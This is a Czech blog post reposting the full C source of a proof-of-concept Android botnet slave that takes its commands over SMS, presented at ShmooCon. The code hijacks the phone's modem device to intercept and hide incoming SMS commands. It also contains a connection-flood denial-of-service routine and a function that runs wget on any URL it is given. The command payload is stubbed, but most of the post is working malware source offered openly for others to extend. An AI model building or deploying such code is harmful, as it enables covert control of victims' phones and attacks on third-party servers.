Kód PoC Android Botnetu s C&C využívající SMS

Vložil/a RubberDuck [1], 15 Květen, 2012 - 13:56

- Programming [2]
- Virus & Worms [3]

Na lednové konferenci ShmooCon [4] byl prezentován koncept Android botnetu, jehož Control && Command Center používá pro ovládání botů zprávy SMS [5].

Tato myšlenka zajistí, že příkaz bude botovi doručen, i když v okamžiku, kdy je odeslán není bot připojen do mobilní sítě (vyjímkou je snad jen případ, kdy je SIM karta v okamžiku dorazučení v jiném mobilním zařízení :)). Protože byl uvolněn zdrojový kód konceptu (v jazyce C), rozhodl jsem ho zachovat pro případ, že by původní zdroj zmizel.

Kód:

```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/types.h>
#include <poll.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/select.h>
#include <string.h>
#include <sys/un.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <termios.h>
#include <math.h>

/* This is a proof of concept example of an Android slave bot in an SMS controlled
botnet. Proof of concept functionality has been removed for safety. Feel free to add
your own for research purposes. This released version contains a local open port as
introduced by previous work. This is helpful for research and testing, but may be
removed if desired.

The concept for proxying the modem and RIL was introduced by Collin Mulliner and
Charlie Miller at Blackhat USA 2009. The proof of concept code released under GPL by
Collin Mulliner was used as a basis for the proxy functionality of the botnet.

Author: Georgia Weidman
License: GPLv3

*/

#define SMD0 "/dev/smd0"
#define SMD0REAL "/dev/smd0real"

#define offsetof(TYPE, MEMBER) ((int)&((TYPE *)0)->MEMBER)
```

```
static FILE *logfile;
static int dolog = 1;

static int nss = -1;
static int nsc = -1;
static int smd_rild_c;
static int smdreal;

static int sms_avail = 0;
static int got_at = 0;

static int open_log(){
  logfile = fopen("/sdcard/injector.log", "w");

  if (logfile == NULL) {
    printf("can't open log file\n");
    exit(0);
  }
  return 1;
}


int setup_netsock(int *s, int port){
  int len;
  struct sockaddr_in saun ={0};

  *s = socket(AF_INET, SOCK_STREAM, 0);
  saun.sin_family = AF_INET;
  saun.sin_port = htons(port);
  len = sizeof(saun);
  if (bind(*s, &saun, len) < 0) {
    return -1;
  }
  if (listen(*s, 2) < 0) {
    return -2;
  }
  return 1;
}

static int config_fd(char *name){
  int fd = open(name,O_RDWR);
  struct termios  ios;
  tcgetattr(fd, &ios);
  cfmakeraw(&ios);
  ios.c_lflag = 0;  /* disable ECHO, ICANON, etc... */
  tcsetattr(fd, TCSANOW, &ios);

  close(fd);
}

static unsigned char gsm_default_alphabet[128] = {
  '@',  0xa3, '$',  0xa5, 0xe8, 0xe9, 0xf9, 0xec,
  0xf2, 0xc7, '\n', 0xd8, 0xf8, '\r', 0xc5, 0xe5,
  '?',  '_',  '?',  '?',  '?',  '?',  '?',  '?',
  '?',  '?',  '?',  '?',  0xc6, 0xe6, 0xdf, 0xc9,
  ' ',  '!',  '\"', '#',  0xa4,  '%',  '&',  '\'',
  '(',  ')',  '*',  '+',  ',',  '-',  '.',  '/',
  '0',  '1',  '2',  '3',  '4',  '5',  '6',  '7',
  '8',  '9',  ':',  ';',  '<',  '=',  '>',  '?',
```

```
  0xa1, 'A',  'B',  'C',  'D',  'E',  'F',  'G',
  'H',  'I',  'J',  'K',  'L',  'M',  'N',  'O',
  'P',  'Q',  'R',  'S',  'T',  'U',  'V',  'W',
  'X',  'Y',  'Z',  0xc4, 0xd6, 0xd1, 0xdc, 0xa7,
  0xbf, 'a',  'b',  'c',  'd',  'e',  'f',  'g',
  'h',  'i',  'j',  'k',  'l',  'm',  'n',  'o',
  'p',  'q',  'r',  's',  't',  'u',  'v',  'w',
  'x',  'y',  'z',  0xe4, 0xf6, 0xf1, 0xfc, 0xe0
};

char tohex(int input){
 if (input == 0){
   return '0';
 }else if(input == 1){
   return '1';
 }else if(input == 2){
   return '2';
 }else if(input == 3){
   return '3';
 }else if(input == 4){
   return '4';
 }else if(input == 5){
   return '5';
 }else if(input == 6){
   return '6';
 }else if(input == 7){
   return '7';
 }else if(input == 8){
   return '8';
 }else if(input == 9){
   return '9';
 }else if(input == 10){
   return 'A';
 }else if(input == 11){
   return 'B';
 }else if(input == 12){
   return 'C';
 }else if(input == 13){
   return 'D';
 }else if(input == 14){
   return 'E';
 }else if(input == 15){
   return 'F';
 }
}

int unhex2(char input){
  if (input  == '0')
   return 0;
  else if (input == '1')
   return 16;
  else if (input  == '2')
   return 32;
  else if (input  == '3')
   return 48;
  else if (input  == '4')
   return 64;
  else if (input  == '5')
   return 80;
```

```
  else if (input  == '6')
   return 96;
  else if (input  == '7')
   return 112;
  else if (input  == '8')
   return 128;
  else if (input  == '9')
   return 144;
  else if (input  == 'A')
   return 160;
  else if (input  == 'B')
   return 176;
  else if (input  == 'C')
   return 192;
  else if (input  == 'D')
   return 208;
  else if (input  == 'E')
   return 224;
  else if (input  == 'F')
   return 240;
}

int unhex(char input){
  if (input  == '0')
   return 0;
  else if (input == '1')
   return 1;
  else if (input  == '2')
   return 2;
  else if (input  == '3')
   return 3;
  else if (input  == '4')
   return 4;
  else if (input  == '5')
   return 5;
  else if (input  == '6')
   return 6;
  else if (input  == '7')
   return 7;
  else if (input  == '8')
   return 8;
  else if (input  == '9')
   return 9;
  else if (input  == 'A')
   return 10;
  else if (input  == 'B')
   return 11;
  else if (input  == 'C')
   return 12;
  else if (input  == 'D')
   return 13;
  else if (input  == 'E')
   return 14;
  else if (input  == 'F')
   return 15;
  else
   return 0;
}
```

```
char* encode(char* input){
  int length = strlen(input);
  char inmessage[length];
  strncpy(inmessage, input, length);
  int extra = length/8; //every 8th character will disapear
  int outlength = (length - extra) * 2;
  char* outmessage;
  outmessage = malloc(length + extra);
  int q = 0;
  char char0;
  char char1;
  int and1 = 0;
  int andl = 0;
  int number = 0;
  int casemod = 0;
  int steal = 0;
  int stolen = 0;
  int tempsteal = 0;
  int result = 0;
  char hex1;
  char hex2;
  int hex1temp;
  int hex2temp;
  int character = 0;
  int character0;
  int character1;
  char0 = inmessage[0];

  for (q=0; q < 128; q++){
    if(char0 == gsm_default_alphabet[q]){
      character0 = q;
      break;
    }
  }

  int i = 1;

  while (i < length){
    number++;
    casemod = number % 8;
    char1 = inmessage[i];


    for (q=0; q < 128; q++){
      if(char1 == gsm_default_alphabet[q]){
            character1 = q;
        break;
      }
    }

    if (casemod == 0){
      i++;
      character0 = character1;
      continue;
    }

    steal = casemod;
    stolen = casemod - 1;
    and1 = 2;
```

```
    int hold;

    for (hold = 2; hold <= casemod; hold++){
      and1 = (and1 * 2);
    }

    and1 = and1 - 1;
    tempsteal = char1 & and1;
    steal = tempsteal << (8 - casemod);
    result = character0 + steal;
    hex1temp = result & 240;
    hex2temp = result & 15;
    hex1temp = hex1temp >> 4;
    hex1 = tohex(hex1temp);
    hex2 = tohex(hex2temp);
    outmessage[character] = hex1;
    character++;
    outmessage[character] = hex2;
    character++;
    character1 = character1 >> casemod;
    i++;
    character0 = character1;
  }

  hex1temp = character0 & 240;
  hex2temp = character1 & 15;
  hex1temp = hex1temp >> 4;
  hex1 = tohex(hex1temp);
  hex2 = tohex(hex2temp);
  outmessage[character] = hex1;
  character++;
  outmessage[character] = hex2;
  // char* out2message;
  //out2message = malloc(strlen(outmessage) - 1);
  //strncpy(out2message, outmessage, outlength);
  return outmessage;
}

char* decode(char* input){
  int length = strlen(input);
  int length2 = length - 2;
  char inmessage[length];
  strncpy(inmessage, input, length);
  int extra = (length/2)/8;
  int outlength = length/2 + extra;
  char* outmessage;
  outmessage = malloc(outlength);
  int case1stolen = 128;
  int case2stolen = 192;
  int case3stolen = 224;
  int case4stolen = 240;
  int case5stolen = 248;
  int case6stolen = 252;
  int case7stolen = 254;
  int case1steal = 127;
  int case2steal = 63;
  int case3steal = 31;
  int case4steal = 15;
  int case5steal = 7;
```

```
int case6steal = 3;
int case7steal = 1;
int i = 0;
int j = 0;
int casemod = 0;
int number = 0;
int steal = 0;
int stolen = 0;
int bitvaluetemp = 0;
int bitvaluetemp2 = 0;
int bitvalue = 0;
int tostealtemp = 0;
int tosteal  = 0;
char hex[2];
int hex1 = 0;
int hex2 = 0;
int hextotal = 0;
int and1 = 0;
int and1temp = 0;
int and2 = 0;
int character = 0;

while(i < length){
  number++;
  casemod = number % 8;

  if ( casemod == 0 ){
    outmessage[character] = gsm_default_alphabet[tosteal];
    character++;
    tosteal=0;
    continue;
  }

  steal = casemod;
  stolen = casemod - 1;
  hex[0] = inmessage[i];
  hex[1] = inmessage[i+1];
  hex1 = unhex2(hex[0]);
  hex2 = unhex(hex[1]);
  hextotal = hex1 + hex2;
  and1temp = (8 - casemod);

      switch ( casemod ){
    case 1:
      and1 = case1steal;
      break;
    case 2:
      and1 = case2steal;
      break;
    case 3:
      and1 = case3steal;
      break;
    case 4:
      and1 = case4steal;
      break;
    case 5:
      and1 = case5steal;
      break;
    case 6:
```

```
        and1 = case6steal;
        break;
      case 7:
        and1 = case7steal;
        break;
    }

    bitvaluetemp = hextotal & and1;
    bitvaluetemp2 = bitvaluetemp << stolen;
    bitvalue = bitvaluetemp2 + tosteal;
    outmessage[character] = gsm_default_alphabet[bitvalue];
    character++;

    switch ( casemod ){
      case 1:
        and2 = case1stolen;
        break;
      case 2:
        and2 = case2stolen;
        break;
      case 3:
        and2 = case3stolen;
        break;
      case 4:
        and2 = case4stolen;
        break;
      case 5:
        and2 = case5stolen;
        break;
      case 6:
        and2 = case6stolen;
        break;
      case 7:
        and2 = case7stolen;
        break;
    }

    tostealtemp = hextotal & and2;
    tosteal = tostealtemp >> (8 - casemod);
    i=i+2;
  }

  char* out2message;
  out2message = malloc(strlen(outmessage) - 1);
  strncpy(out2message, outmessage, outlength);

  return out2message;
}

char* findmessage(char* buffer){
  if (buffer[0] == '+' && buffer[1] == 'C' && buffer[2] == 'M' && buffer[3] == 'T' &&
buffer[4] == ':'){
    int i = 0;
    int counter = 0;

    for (i=7; i<12; i++)//find the number of digits in length{
      if (buffer[i] != '\r'){
        counter +=1;
      }else{
```

```
        break;
      }
    }

    int sms_start = 7 + counter + 2; //the beginning of the message is after +CMT:
,{length}\r\n
    char* SCA_length_buff; //find the length of sca
    SCA_length_buff = malloc(2);
    SCA_length_buff[0] = buffer[sms_start];
    SCA_length_buff[1] = buffer[sms_start + 1];
    int SCA_length = atoi(SCA_length_buff);
    int pointer = sms_start + 2; //move past the length
    pointer += (SCA_length * 2); //move over the SCA (SCA length is the number of
octests so need times 2)
    int pdu1; //find out whats in the first half of pdu type, the 2nd leftmost bit is
set for UHD
    pdu1 = unhex(buffer[pointer]);
    int udhpresent = pdu1 & 4; //find out whether that bit is set
    pointer +=3; //move over other half of pdu type and first half of OA length
    int oalength;
    oalength = unhex(buffer[pointer]);

    if (oalength % 2 == 1) //oa length is the number of digits so if its odd we need
to add another character{
      oalength +=1;
    }

    pointer += 2;
    pointer += oalength;
    pointer += 2 + 2 + 14 + 1; //pid + DCS + SCTS

    char* udl;
    udl = malloc(2);
    udl[0] = buffer[pointer];
    pointer += 1;
    udl[1] = buffer[pointer];
    pointer += 1;
    int udl1;
    int udl2;
    int udltotal;
    udl1 = unhex2(udl[0]);
    udl2 = unhex(udl[1]);
    udltotal = udl1 + udl2;

    if (udhpresent == 4){
      char uhdl[2];
      uhdl[0] = buffer[pointer];
      pointer += 1;
      uhdl[1] = buffer[pointer];
      pointer += 1;
      int udhl1;
      int udhl2;
      int udhltotal;

      if (uhdl[0] == '0')
        udhl1 = 0;
      else if (uhdl[0] == '1')
        udhl1 = 16;
      else if (uhdl[0]  == '2')
```

```
        udhl1 = 32;
      else if (uhdl[0]  == '3')
        udhl1 = 48;
      else if (uhdl[0]  == '4')
        udhl1 = 64;
      else if (uhdl[0]  == '5')
        udhl1 = 80;
      else if (uhdl[0]  == '6')
        udhl1 = 96;
      else if (uhdl[0]  == '7')
        udhl1 = 112;
      else if (uhdl[0]  == '8')
        udhl1 = 128;
      else if (uhdl[0]  == '9')
        udhl1 = 144;
      else if (uhdl[0]  == 'A')
        udhl1 = 160;
      else if (uhdl[0]  == 'B')
        udhl1 = 176;
      else if (uhdl[0]  == 'C')
        udhl1 = 192;
      else if (uhdl[0]  == 'D')
        udhl1 = 208;
      else if (uhdl[0]  == 'E')
        udhl1 = 224;
      else if (uhdl[0]  == 'F')
        udhl1 = 240;

      udhl2 = unhex(uhdl[1]);
      udhltotal = udhl1 + udhl2;
      pointer += udhltotal *2;
      udltotal = udltotal - (udhltotal + 2);
    }

    int udltotal2;
    udltotal2 = udltotal * 2;
    char* message;
    message = malloc(udltotal2);
    int q = 0;

    for (q = 0; q < udltotal2; q++){
      message[q] = buffer[pointer];
      pointer++;
    }

    return message;
  }
}

int isours(char* plain){
  if (plain[0] == 'B' && plain[1] == 'O' && plain[2] == 'T' && plain[3] == ':' &&
plain[4] == ' ')
    return 1;
  else
    return 0;
}

int dos(char* ip){
  int connections = 5;
```

```
  int array[connections];

  int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in server;
  server.sin_family = AF_INET;
  server.sin_addr.s_addr = inet_addr(ip);
  int port = 80;
  server.sin_port = htons(port);
  memset(&(server.sin_zero), '\0', 8);
  int i = 0;
  int j = 0;

  for (;;){
    for (i = 0; i < connections; i++){
      array[i] = socket(AF_INET, SOCK_STREAM, 0);
      connect(array[i],&server,sizeof(server));
    }

    sleep(5);
    for (j = 0; j < connections; j++){
      close(array[j]);
    }

    return 1;
  }
}

int get(char* url){
  char* command1;
  command1 = "wget";
  char* command = malloc(strlen(command1) + strlen(url) + 2);
  strcpy(command, command1);
  strcat(command, " ");
  strcat(command, url);
  system(command);
}

char* scramble(char* number){
  char digit1;
  char digit2;
  int length;
  length = strlen(number);
  char innumber[length];
  strncpy(innumber, number, length);
  char* scramblednumber;
  scramblednumber = malloc(12);
  int q;
  int i = 0;

  while (i < (length - 1)){
    digit1 = innumber[i];
    digit2 = innumber[i+1];
    scramblednumber[i] = digit2;
    scramblednumber[i+1] = digit1;
    i++;
    i++;
  }

  digit1 = innumber[i];
```

```
  scramblednumber[i] = 'f';
  scramblednumber[i+1] = digit1;

  return scramblednumber;
}


char* makepdu1(char* message){
  char* pdu1;
  char* encodedmessage;
  encodedmessage = encode(message);
  int messagelen;
  messagelen = strlen(encodedmessage);
  int tpdulen;
  int tpdlenlen;
  tpdulen = 13 + (messagelen/2);

  if (tpdulen < 10){
     tpdlenlen = 1;
  }else if (tpdulen > 100){
     tpdlenlen = 3;
  }else {
     tpdlenlen = 2;
  }

  int pdu1len;
  pdu1len = 8 + 1 + tpdlenlen;

  pdu1 = malloc(pdu1len);

  pdu1[0] = 'A';
  pdu1[1] = 'T';
  pdu1[2] = '+';
  pdu1[3] = 'C';
  pdu1[4] = 'M';
  pdu1[5] = 'G';
  pdu1[6] = 'S';
  pdu1[7] = '=';

  sprintf(pdu1, "%s%d", pdu1,tpdulen);
  int r;
  r = 8 + tpdlenlen;
  printf("r is %d", r);
  pdu1[r] = '\r';
  return pdu1;
}

char* makepdu2(char* number, char* message){
  char* pdu2;
  char* encodedmessage;
  int length;
  length = strlen(message);
  encodedmessage = encode(message);
  int messagelen;
  messagelen = strlen(encodedmessage);
  int tpdulen;
  int tpdlenlen;

  pdu2 = malloc(29 + messagelen);
```

```
  pdu2[0] = '0';
  pdu2[1] = '0';
  pdu2[2] = '0';
  pdu2[3] = '1';
  pdu2[4] = '0';
  pdu2[5] = '0';
  pdu2[6] = '0';
  pdu2[7] = 'b';
  pdu2[8] = '8';
  pdu2[9] = '1';

  char* flippednumber;
  flippednumber = scramble(number);
  int i = i;
  int j = 10;

  for (i=0;i<12;i++){
    pdu2[j] = flippednumber[i];
    j++;
  }

  pdu2[22] = '0';
  pdu2[23] = '0';
  pdu2[24] = '0';
  pdu2[25] = '0';

  char* hexlength;
  hexlength = malloc(2);
  sprintf(hexlength, "%02x", length);

  pdu2[26] = hexlength[0];
  pdu2[27] = hexlength[1];

  int k;
  int l = 28;
  char* encodedmessage2;
  encodedmessage2 = encode(message);

  for (k = 0; k < messagelen; k++){
    pdu2[l] = encodedmessage2[k];
    l++;
  }

  char ctrlz = 26;
  pdu2[l] = ctrlz;

  return pdu2;
}

//Functionality removed. Add your own.
int bot(char* plain){
  printf("%s\n", "BOT!");
}

int main(int argc, char **argv){
  struct pollfd pfd[3];

  smd_rild_c = posix_openpt(O_RDWR|O_NOCTTY);
```

```
  if (smd_rild_c <= 0)
    printf("posix_openpt failed\n");

  if (unlockpt(smd_rild_c) < 0)
    printf("unlockpt failed\n");

  struct termios  ios;
  tcgetattr(smd_rild_c, &ios);
  ios.c_lflag = 0;
  tcsetattr(smd_rild_c, TCSANOW, &ios);

  smdreal = open(SMD0REAL, O_RDWR|O_LARGEFILE);

  if (smdreal < 0) {
    printf("please rename /dev/smd0 to /dev/smd0real before running injectord\n");
    exit(0);
  }

  int child = fork();

  if (child == 0) {
    config_fd(ptsname(smd_rild_c));
    exit(0);
  }

  remove(SMD0);
  symlink(ptsname(smd_rild_c), SMD0);
  chmod(ptsname(smd_rild_c), 00666);

  open_log();

  setup_netsock(&nss, 4223);

  for (;;) {
    pfd[0].fd = smd_rild_c;
    pfd[0].events = POLLIN;
    pfd[1].fd = smdreal;
    pfd[1].events = POLLIN;

    if (nsc != -1) {
      pfd[2].fd = nsc;
      pfd[2].events = POLLIN;
    }else if (nss != -1) {
      pfd[2].fd = nss;
      pfd[2].events = POLLIN;
    }

    fflush(logfile);

    int pfn = poll(pfd, 3, -1);

    if (pfd[2].revents & POLLIN == POLLIN && pfd[2].fd == nss) {
      nsc = accept(nss, NULL, NULL);

          if (nsc < 0) {
        nsc = -1;
      }else{
        if (dolog) fprintf(logfile, "fuzz network connected\n");
```

```
    }
  }else if (pfd[2].revents & POLLIN == POLLIN && pfd[2].fd == nsc){
    char buffer[4096] = {0};
    int rb = read(nsc, buffer, sizeof(buffer));
    if (rb <= 0) {
      close(nsc);
      nsc = -1;
      if (dolog) fprintf(logfile, "fuzz network disconnected\n");
    }else{

            if (dolog){
      fprintf(logfile, "write %d fuzz bytes to smd_rild_c\n", rb);
      fprintf(logfile, "---\n%s\n+++\n", buffer);
      }

      int wb = write(smd_rild_c, buffer, rb);

      if (wb <= 0) {
        printf("fuzz write failed\n");
      }else {
        sms_avail = 1;
        got_at = 0;
      }
    }
  }

  if (pfd[0].revents & POLLIN == POLLIN && pfd[0].fd == smd_rild_c) {
    char buffer[1024*8] = {0};
    int rb = read(smd_rild_c, buffer, sizeof(buffer));

    if (rb <= 0) {
      close(smd_rild_c);
      smd_rild_c = -1;
    }else{
      if (dolog){
        fprintf(logfile, "read %d bytes from smd_rild_c:\n", rb);
        fprintf(logfile, "---\n%s\n+++\n", buffer);
      }

      if (sms_avail == 1 && got_at == 0) {
        if (dolog) fprintf(logfile, "swollowing AT after +CMT\n");

        int wb = write(smd_rild_c, "0\r", 2);

        if (wb <= 0) {
          printf("got_at answer failed\n");
        }else {
          if (dolog) fprintf(logfile, "sms xfer completed\n");

          sms_avail = 0;
          got_at = 0;
        }
      }else {
        int wb = write(smdreal, buffer, rb);

              if (wb <= 0) {
          printf("error writing to smdreal\n");
        }
      }
```

```
      }
    }

    if (pfd[1].revents & POLLIN == POLLIN) {
      char buffer[1024*8] = {0};
      int rb = read(smdreal, buffer, sizeof(buffer));

      if (rb <= 0) {
        printf("error reading from smdreal\n");
      }else {
        char* message;
        message = findmessage(buffer);
        char* plain;
        plain = decode(message);
        int ours;
        ours = isours(plain);

        if (ours == 1){
          int child1 = fork();
            if (child1 == 0) {
              int re;
              re = bot(plain);
              exit(0);
            }
        }else{
              if (dolog) {
            fprintf(logfile, "read %d bytes from smdreal:\n", rb);
            fprintf(logfile, "+++\n%s\n---\n", buffer);
          }

          int wb = write(smd_rild_c, buffer, rb);

          if (wb <= 0) {
            printf("error writing to smb_rild_c\n");
            close(smd_rild_c);
            smd_rild_c = -1;
          }
        }
      }
    }
  }
}
```

URL článku:
https://security-portal.cz/blog/k%C3%B3d-poc-android-botnetu-s-cc-vyu%C5%BE%C3%ADvaj%C3%ADc%C3%AD-sms

Odkazy:
[1] https://security-portal.cz/users/rubberduck
[2] https://security-portal.cz/category/tagy/programming
[3] https://security-portal.cz/category/tagy/virus-worms
[4] https://www.shmoocon.org/
[5] http://www.grmn00bs.com/GeorgiaW_Smartphone_Bots_SLIDES_Shmoocon2011.pdf